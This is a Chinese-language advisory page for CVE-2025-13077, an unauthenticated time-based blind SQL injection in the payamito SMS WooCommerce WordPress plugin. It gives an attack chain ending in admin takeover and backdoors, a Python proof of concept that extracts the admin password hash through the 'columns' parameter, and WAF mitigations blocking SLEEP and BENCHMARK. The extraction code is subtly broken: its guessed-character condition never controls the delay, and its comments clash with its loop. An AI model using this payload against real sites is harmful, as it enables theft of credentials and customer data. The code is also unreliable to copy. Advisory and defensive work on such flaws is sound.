IPBUF安全漏洞报告
English
CVE-2025-13077 CVSS 7.5 高危

CVE-2025-13077 WordPress payamito SMS WooCommerce插件SQL注入漏洞

披露日期: 2025-12-13

漏洞信息

漏洞编号
CVE-2025-13077
漏洞类型
SQL注入
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
payamito SMS WooCommerce plugin for WordPress

相关标签

SQL注入WordPress插件漏洞CVE-2025-13077盲注SQL注入payamito SMS WooCommerceWooCommerce安全高危漏洞无需认证利用电商网站安全

漏洞概述

CVE-2025-13077是WordPress平台下一款名为payamito SMS WooCommerce的短信插件中存在的高危安全漏洞。该插件主要用于WooCommerce电商系统发送短信通知。漏洞类型为基于时间的盲注SQL注入(Time-based Blind SQL Injection),存在于插件的'columns'参数中。由于插件在处理用户输入的'columns'参数时未进行充分的转义处理,且SQL查询缺少必要的预编译语句准备,攻击者可以在未经身份验证的情况下向现有SQL查询注入额外的SQL语句,从而访问数据库中的敏感信息。此漏洞影响该插件1.3.5及以下所有版本。由于SQL注入攻击可以通过时间延迟函数(如SLEEP())来判断SQL执行结果,攻击者可以逐步提取数据库中的用户名、密码哈希、订单信息、客户数据等敏感内容。鉴于该插件在电商网站中的广泛使用,此漏洞可能影响大量在线商店的账户安全和交易数据安全。

技术细节

该SQL注入漏洞位于payamito SMS WooCommerce插件的admin/class-payamito-admin.php文件第64行附近。漏洞根源在于用户通过'columns'参数输入的数据直接拼接到SQL查询语句中,而未经过适当的参数化查询处理。在WordPress插件架构中,admin处理函数直接接收GET或POST请求中的'columns'参数,并将其传递给数据库查询层。攻击者可以利用这一缺陷,通过构造特殊的SQLPayload,如:columns=id),(SELECT(SLEEP(5)))--,来触发基于时间的盲注攻击。攻击原理是利用MySQL的SLEEP()函数让数据库执行产生延迟,通过观察响应时间的差异来判断SQL条件是否成立。攻击者可以逐步构造条件判断语句,通过二分法或逐字符猜解的方式提取数据库中的敏感信息,如wp_users表中的用户凭证、wp_options表中的配置信息等。由于该插件使用WordPress的$wpdb对象进行数据库操作,攻击者还可以利用UNION注入或堆叠查询来执行更复杂的攻击。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者扫描互联网上的WordPress网站,识别安装payamito SMS WooCommerce插件的目标站点
STEP 2
步骤2
漏洞探测:攻击者构造包含SLEEP()函数的SQL注入Payload,通过'columns'参数发送到admin-ajax.php或插件管理的相关端点
STEP 3
步骤3
时间盲注验证:观察服务器响应时间,如果包含延迟(如5秒),则确认SQL注入漏洞存在
STEP 4
步骤4
信息提取:利用基于时间的盲注技术,通过二分查找或逐字符猜解方式提取数据库内容,包括wp_users表中的用户凭证
STEP 5
步骤5
密码破解:对提取的密码哈希进行离线暴力破解或字典攻击,获取管理员明文密码
STEP 6
步骤6
权限提升:使用获取的管理员凭证登录WordPress后台,上传恶意插件实现持久化控制
STEP 7
步骤7
后渗透攻击:进一步窃取客户订单数据、部署后门或横向移动到其他系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import time # CVE-2025-13077 PoC - Time-based Blind SQL Injection # Target: WordPress payamito SMS WooCommerce plugin < =1.3.5 # Parameter: columns def test_sqli(url, column_value): """Test SQL injection with time-based blind technique""" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Content-Type': 'application/x-www-form-urlencoded' } # Time-based blind SQL injection payload # This payload uses SLEEP() function to create time delays payload = f'{column_value}),(SELECT(SLEEP(5)))--' params = { 'columns': payload, 'action': 'payamito_get_columns', 'nonce': 'attacker_controlled_or_missing' } start_time = time.time() try: response = requests.get(url, params=params, headers=headers, timeout=30) elapsed = time.time() - start_time # If response takes >5 seconds, SQL injection is confirmed if elapsed >= 5: return True, elapsed except requests.exceptions.RequestException: pass return False, 0 def extract_admin_password(url): """Extract admin password hash using blind SQL injection""" # Character-by-character extraction of wp_users user_pass field charset = '0123456789abcdefghijklmnopqrstuvwxyz' result = '' for pos in range(1, 65): # MD5 hash is 32 chars for char in charset: # Subquery to extract character at position payload = f'1 AND (SELECT SUBSTRING(user_pass,{pos},1) FROM wp_users WHERE ID=1)="{char}"' # Adjust SLEEP time based on character match sleep_time = 2 if test_sqli(url, payload)[0] else 0 if sleep_time >= 2: result += char print(f"[*] Extracted char {pos}: {char} | Hash: {result}") break return result # Example usage target_url = "http://target-site.com/wp-admin/admin-ajax.php" print("[*] Testing CVE-2025-13077 SQL Injection...") print(f"[*] Target: {target_url}") # Basic test is_vulnerable, elapsed = test_sqli(target_url, 'id') if is_vulnerable: print(f"[!] Vulnerability confirmed! Response time: {elapsed:.2f}s") print("[*] Proceeding with data extraction...") # admin_hash = extract_admin_password(target_url) # print(f"[*] Admin password hash: {admin_hash}") else: print("[-] Target may not be vulnerable or is not reachable")

影响范围

payamito SMS WooCommerce plugin <= 1.3.5

防御指南

临时缓解措施
由于该漏洞已被公开披露且存在在野利用风险,建议立即采取以下临时缓解措施:1)如果暂时无法升级插件,可通过Web应用防火墙规则阻止包含'SLEEP'、'BENCHMARK'等时间延迟函数的请求;2)在Nginx或Apache配置中限制对/admin-ajax.php的访问来源;3)临时禁用该插件直到官方发布安全更新;4)监控WordPress日志中的异常SQL查询模式;5)考虑使用替代的短信插件方案。长期来看,应建立插件安全评估机制,在部署前进行代码审计。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表